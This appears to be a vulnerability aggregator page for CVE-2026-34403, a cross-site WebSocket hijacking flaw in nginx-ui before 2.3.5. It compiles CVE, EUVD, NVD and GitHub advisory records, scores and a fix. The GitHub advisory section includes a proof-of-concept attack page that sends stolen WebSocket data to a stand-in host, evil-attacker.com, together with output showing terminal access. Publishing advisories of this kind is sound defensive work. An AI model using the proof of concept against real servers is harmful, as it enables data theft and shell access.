Nginx-UI vulnerable to Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-34403
PublishedNginx UI is a web user interface for the Nginx web server. Prior to version 2.3.5, all WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. Version 2.3.5 patches the issue.
- Source published
- 20 Apr 2026 20:16:47 UTC
- Source modified
- 21 Apr 2026 13:36:46 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
euvd · EUVD-2026-23972
PublishedNginx UI is a web user interface for the Nginx web server. Prior to version 2.3.5, all WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. Version 2.3.5 patches the issue.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 20, 2026, 8:16:47 PM
dateUpdated: Apr 21, 2026, 1:36:46 PM
- Source published
- Apr 20, 2026, 8:16:47 PM (timezone not stated)
- Source modified
- Apr 21, 2026, 1:36:46 PM (timezone not stated)
- Observed here
- 1 Nov 2026 06:06:10 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
nvd · CVE-2026-34403
PublishedNginx UI is a web user interface for the Nginx web server. Prior to version 2.3.5, all WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. Version 2.3.5 patches the issue.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-1385
Original publisher date fields
published: 2026-04-20T21:16:36.267
lastModified: 2026-10-26T21:10:00.170
1 source CPE criteria · context only
- cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 20 Apr 2026 21:16:36 UTC
- Source modified
- 26 Oct 2026 21:10:00 UTC
- Observed here
- 27 Oct 2026 09:03:00 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 5.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
osv · GHSA-78mf-482w-62qj
Published## Summary All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. ## Details ### Vulnerable Code Pattern Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration: ```go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { return true // Accepts ALL origins }, } ``` ### Cookie-Based Authentication The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts): ```typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite }) ``` The backend middleware accepts tokens from cookies (internal/middleware/middleware.go): ```go func getToken(c *gin.Context) (token string) { // ... if token, _ = c.Cookie("token"); token != "" { return token } return "" } ``` ### Affected Endpoints All WebSocket endpoints under the authenticated router group are vulnerable: | Endpoint | Impact | |---|---| | /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginx_log | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data | ## PoC ### Environment Setup ```yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config: ``` ### Attack Page (hosted on attacker-controlled domain) ```html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script> ``` ### Automated PoC Results ``` [+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}} [+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processing_status","data":{"index_scanning":false,...}} [+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...} [+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [*] Sent username: root [+] Output: 'Password: ' [+] Control test (no auth): Correctly rejected with HTTP 403 ``` ## Impact An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently: 1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. **Triggers system operations** -- including nginx reload/restart and binary upgrades The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage. ## Remediation 1. Implement proper origin validation in all WebSocket upgraders: ```go var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, } ``` 2. Set secure cookie attributes: ```typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true }) ``` 3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth. A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5
- Source published
- 21 Apr 2026 15:13:01 UTC
- Source modified
- 25 Jun 2026 19:56:03 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Publisher rating · HIGH
osv · GO-2026-5210
PublishedNginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints in github.com/0xJacky/Nginx-UI
- Source published
- 25 Jun 2026 18:43:15 UTC
- Source modified
- 25 Jun 2026 19:45:14 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.